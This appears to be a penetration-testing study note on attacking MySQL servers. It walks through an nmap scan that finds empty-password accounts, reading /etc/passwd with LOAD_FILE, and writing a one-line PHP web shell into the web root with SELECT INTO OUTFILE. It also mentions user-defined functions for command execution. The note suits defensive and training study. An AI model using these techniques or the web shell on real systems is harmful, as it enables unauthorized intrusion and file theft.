MYSQL attacks

Default Configuration

sudo apt install mysql-server -y

cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | sed -r '/^\s*$/d'

[client]
port		= 3306
socket		= /var/run/mysqld/mysqld.sock

[mysqld_safe]
pid-file	= /var/run/mysqld/mysqld.pid
socket		= /var/run/mysqld/mysqld.sock
nice		= 0

[mysqld]
skip-host-cache
skip-name-resolve
user		= mysql
pid-file	= /var/run/mysqld/mysqld.pid
socket		= /var/run/mysqld/mysqld.sock
port		= 3306
basedir		= /usr
datadir		= /var/lib/mysql
tmpdir		= /tmp
lc-messages-dir	= /usr/share/mysql
explicit_defaults_for_timestamp

symbolic-links=0

!includedir /etc/mysql/conf.d/

Dangerous Settings

Settings	Description
user	Sets which user the MySQL service will run as.
password	Sets the password for the MySQL user.
admin_address	The IP address on which to listen for TCP/IP connections on the administrative network interface.
debug	This variable indicates the current debugging settings
sql_warnings	This variable controls whether single-row INSERT statements produce an information string if warnings occur.
secure_file_priv	This variable is used to limit the effect of data import and export operations.

Footprinting the Service

 sudo nmap 10.129.14.128 -sV -sC -p3306 --script mysql*

Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-21 00:53 CEST
Nmap scan report for 10.129.14.128
Host is up (0.00021s latency).

PORT     STATE SERVICE     VERSION
3306/tcp open  nagios-nsca Nagios NSCA
| mysql-brute: 
|   Accounts: 
|     root:<empty> - Valid credentials
|_  Statistics: Performed 45010 guesses in 5 seconds, average tps: 9002.0
|_mysql-databases: ERROR: Script execution failed (use -d to debug)
|_mysql-dump-hashes: ERROR: Script execution failed (use -d to debug)
| mysql-empty-password: 
|_  root account has empty password
| mysql-enum: 
|   Valid usernames: 
|     root:<empty> - Valid credentials
|     netadmin:<empty> - Valid credentials
|     guest:<empty> - Valid credentials
|     user:<empty> - Valid credentials
|     web:<empty> - Valid credentials
|     sysadmin:<empty> - Valid credentials
|     administrator:<empty> - Valid credentials
|     webadmin:<empty> - Valid credentials
|     admin:<empty> - Valid credentials
|     test:<empty> - Valid credentials
|_  Statistics: Performed 10 guesses in 1 seconds, average tps: 10.0
| mysql-info: 
|   Protocol: 10
|   Version: 8.0.26-0ubuntu0.20.04.1
|   Thread ID: 13
|   Capabilities flags: 65535
|   Some Capabilities: SupportsLoadDataLocal, SupportsTransactions, Speaks41ProtocolOld, LongPassword, DontAllowDatabaseTableColumn, Support41Auth, IgnoreSigpipes, SwitchToSSLAfterHandshake, FoundRows, InteractiveClient, Speaks41ProtocolNew, ConnectWithDatabase, IgnoreSpaceBeforeParenthesis, LongColumnFlag, SupportsCompression, ODBCClient, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults
|   Status: Autocommit
|   Salt: YTSgMfqvx\x0F\x7F\x16\&\x1EAeK>0
|_  Auth Plugin Name: caching_sha2_password
|_mysql-users: ERROR: Script execution failed (use -d to debug)
|_mysql-variables: ERROR: Script execution failed (use -d to debug)
|_mysql-vuln-cve2012-2122: ERROR: Script execution failed (use -d to debug)
MAC Address: 00:00:00:00:00:00 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.21 seconds

MySQL - Read Local Files in MySQL

 select LOAD_FILE("/etc/passwd");

+--------------------------+
| LOAD_FILE("/etc/passwd")
+--------------------------------------------------+
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
<SNIP>

• https://www.w3resource.com/mysql/string-functions/mysql-load_file-function.php

Write Local Files

SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php';

• In MySQL, a global system variable secure_file_priv limits the effect of data import and export operations, such as those performed by the LOAD DATA and SELECT … INTO OUTFILE statements and the LOAD_FILE() function. These operations are permitted only to users who have the FILE privilege.

• secure_file_priv may be set as follows

  • If empty, the variable has no effect, which is not a secure setting.

  • If set to the name of a directory, the server limits import and export operations to work only with files in that directory. The directory must exist; the server does not create it.

  • If set to NULL, the server disables import and export operations.

• In the following example, we can see the secure_file_priv variable is empty, which means we can read and write data using MySQL:

MySQL - Secure File Privileges

 show variables like "secure_file_priv";

User Defined Functions

• MySQL supports User Defined Functions which allows us to execute C/C++ code as a function within SQL

  • there's one User Defined Function for command execution in this GitHub repository.

  • It is not common to encounter a user-defined function like this in a production environment, but we should be aware that we may be able to use it.